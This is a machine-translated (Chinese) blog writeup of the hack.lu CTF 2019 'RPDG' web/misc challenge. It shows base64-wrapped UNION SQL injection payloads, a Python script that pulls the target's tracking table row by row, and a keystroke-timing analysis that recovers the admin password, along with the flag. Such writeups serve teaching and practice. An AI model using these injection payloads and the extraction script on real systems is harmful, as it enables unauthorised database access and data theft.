Arang.dev
搜索
hack.lu CTF 2019🏁 CTF🌐 已翻译

2019 hack.lu CTF - RPDG Writeup

通过 SQL Injection 和频率分析推测 admin password

#hacklu#sql-injection#misc#frequency-analysis

本文由 AI 从韩语机器翻译,部分表达可能与原文有所不同。

阅读原文(韩语)

[ 概述 ]

首先,这道题属于 WEB+MISC。因为 stage. 1 按 Web 来解,stage. 2 按 MISC 来解。基本上,这是一道通过 sql injection 获取信息,然后根据频率推测出 admin password 的题目。

[ 漏洞 ]

image

主页面

查看题目页面可以看到一些 YouTube 视频,点击这些视频的预览缩略图时,会通过/open.php?title={Base64 encoded movie name}跳转到 YouTube。对传入的 title 参数进行 base64 decode 后发现它并不是 link 地址,因此可以推测信息被映射在内部数据库中,并且该参数的信息会进入数据库。

因此,对该参数尝试 sql injection 的话,可以像下面这样尝试。(thx to03sunf@defenitandJeonYoungSin@defenit)

/open.php?title=${base64.encode('") union select 1,2,(select database()),4 -- ')}

image

sql injection vuln!

此外,访问主页面时,会通过tracc.php运行一个键盘记录器(?)

image

被植入了键盘记录器?

进入主页面后再跳转到其他页面时,会通过/tracc.php,像键盘记录器一样把我输入的按键发送到服务器。


那么现在就用发现的 sqli vuln,像union select 1,2,group_concat(schema_name),4 from information_schema.schemata这样把 db 整个扒出来吧。

查看更多

提取的值

#schema : rpdg#table : culture, tracking#column culture : id, link, title, year#column tracking : id, key, path, timestamp, user

把这些列全部提取出来后发现,tracking 表里的 key 列提取不出来。

union select 1,2,group_concat(x.key),4 from tracking as x(thx toJeonYoungSin@defenit)

全部提取出来后,可以得到如下数据。

#-*-coding:utf-8-*-
import requests
import sys
import random
reload(sys)
sys.setdefaultencoding('utf-8')
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
from urllib import quote
 
u = 'https://rpdg.fluxfingersforfuture.fluxfingers.net/open.php?title={}'
 
 
#schema : rpdg
#table : culture, tracking
#column culture : id, link, title, year
#column tracking : id, kye, path, timestamp, user
 
s = requests.session()
num = 0
result = ''
t1 = 0
t2 = 0
 
while 1:
 query = "\") union select 1,2,concat(x.key,':',x.timestamp),4 from tracking as x limit {},1 -- x".format(num).encode('base64')
 r = s.get(u.format(query), verify=False)
 #print dir(r)
 if r.status_code==200:
 print r.content
 elif r.status_code==404:
 t = r.url.split('https://rpdg.fluxfingersforfuture.fluxfingers.net/')[1]
 t2 = int(t.split(':')[1])
 with open('result.txt','a+') as f:
 f.write('{}:{}\n'.format(t,t2-t1))
 f.close()
 t1 = t2
 result += t
 print '[{}] {}'.format(num,t)
 
 else:
 print r.content
 num += 1
 
print result

image

提取结果

到这里为止是 Web hacking 的范畴,从这之后就是 misc 的范畴了。

中途解题卡住的时候出了一个提示,而那个提示相当关键。

查看更多

HINT: People tend to type key combinations faster if they use them frequently, like in their passwords for example.

一句话概括,就是人在敲打熟悉的单词时,所敲单词字符之间的间隔会更短。把我们通过键盘记录器(?) 提取出来的时间值按 t2-t1 的形式计算出来,就会发现有些字符的敲击间隔在 200ms 以下。

举例来说,假设要敲 "arang" 这个单词,由于我平时经常敲的字符组合是 "arang",那么如果我敲 "language" 这个单词,因为对 arang 中的 ang 很熟悉,所以敲 ang 时会比敲其他英文字母更快。

那么像上面的提取结果那样表示出来,就是

查看更多

l : 420 a : 414 n : 153 g : 148 u : 432 a : 514 g : 394 e : 412

就会是这样的结果。

因此,像这样持续地 tracking 打字习惯的话,

查看更多

gra ple equ wo le ing om ap ms ci suc grap

就会得到这样的组合。

把它像文字接龙那样连起来,就得到womsucingraplequ。

推测这就是 password,用它登录后即可获得 flag。

flag{GDPR_is_here_to_save_y'all}

评论

正在加载评论...
2019 hack.lu CTF - RPDG Writeup | hack.lu CTF 2019 | Arang